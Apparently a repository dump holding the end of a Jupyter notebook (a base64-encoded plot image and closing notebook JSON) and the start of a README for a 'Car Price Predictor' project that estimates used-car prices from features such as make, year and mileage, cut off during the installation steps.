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dHw8fHB4mJiVrTWmL07dsXy5Ytg1wuR6NGjeDlpf1PZ0BAgMH7G3t+JSUlePrppzFt2rQ6t919990mxUrkDtq3bw+lUokrV66gZ8+eOs/p3r07qqqqkJ2djbi4OADA6dOnAQDR0dGiH4uJEBHZTFVVFT7//HMsWrQIgwYN0rptxIgR2LhxI5555hm0adMGu3btwoQJE3ReRy6XQ6lUah1r0KABCgoKIAiCZgF1RkaG1jn79+/Hxx9/jKFDhwIALly4gGvXrpn8PAICAtC0aVOT76fWpk0b/PXXXzh9+rTOUaEOHTogKyvLoscgcjUlJSU4e/as5vucnBxkZGQgNDQUzZs3x+jRozF27FgsWrQI7du3x9WrV7Fr1y60adMGw4YNw4ABA9ChQwc88cQTWLJkCVQqFaZMmYKBAwfqHX3VhYulichmtm7dihs3bmDixIlISEjQ+nrooYewatUqAMDs2bOxceNGzJ49GydOnMDx48excOFCzXViYmKwZ88eXLx4UZPI9OnTB1evXsX//d//ITs7Gx999BG2b9+u9fjNmjXDunXrcOLECfzxxx8YPXq0WaNPlurduzd69eqFhx56CDt27EBOTg62b9+OlJQUAMArr7yC33//HVOnTkVGRgbOnDmDH374gYulya0dOnQI7du3R/v27QEAM2bMQPv27fHGG28AANasWYOxY8fihRdeQIsWLTBixAgcPHhQM0oqlUqxZcsWhIeHo1evXhg2bBhatWqFL7/80rRABCIiG/nXv/4lDB06VOdtf/zxhwBAOHr0qCAIgrB582ahXbt2glwuF8LDw4UHH3xQc25qaqrQpk0bwcfHR6j5z9ayZcuEqKgoISAgQBg7dqwwf/58ITo6WnN7enq60KlTJ8HX11do1qyZ8PXXXwvR0dHC4sWLNecAEL777ju9z2HcuHHC/fffb/LttR/n+vXrwoQJE4SwsDDB19dXSEhIELZu3aq5PS0tTRg4cKBQr149ISAgQGjTpo0wf/58vY9LRNYhEYRak+xEREREHoJTY0REROSxmAgRERGRx2IiRERERB6LiRARERF5LCZCRERE5LGYCBEREZHHYiJEREREHouJEBEREXksJkJERETksZgIERERkcdiIkREREQei4kQEREReaz/B6LGOOLRLbt+AAAAAElFTkSuQmCC\n"},"metadata":{}}]}]} \ No newline at end of file diff --git a/MachineLearning Projects/Car Price Predictor/README.md b/MachineLearning Projects/Car Price Predictor/README.md new file mode 100644 index 00000000..fbd0d59c --- /dev/null +++ b/MachineLearning Projects/Car Price Predictor/README.md @@ -0,0 +1,70 @@ +# Car Price Predictor + +Car Price Predictor is a machine learning project that aims to predict the price of used cars based on various features. It utilizes a dataset containing information about different cars, such as their make, model, year of manufacture, mileage, fuel type, and more. + +## Table of Contents + +- [Introduction](#introduction) +- [Dataset](#dataset) +- [Installation](#installation) +- [Usage](#usage) +- [Model Training](#model-training) +- [Results](#results) +- [Contributing](#contributing) +- [License](#license) + +## Introduction + +Predicting the price of used cars can be useful for both buyers and sellers. By analyzing the characteristics of a car, such as its age, mileage, and brand, we can estimate its market value. This project utilizes machine learning techniques to develop a model that predicts car prices based on the provided dataset. + +## Dataset + +The dataset used for this project is located in the [data](data/) directory. It contains information about various cars, such as their make, model, year of manufacture, mileage, fuel type, and more. The dataset is in CSV format and named `car_data.csv`. + +## Installation + +To run this project locally, follow these steps: + +1. Clone 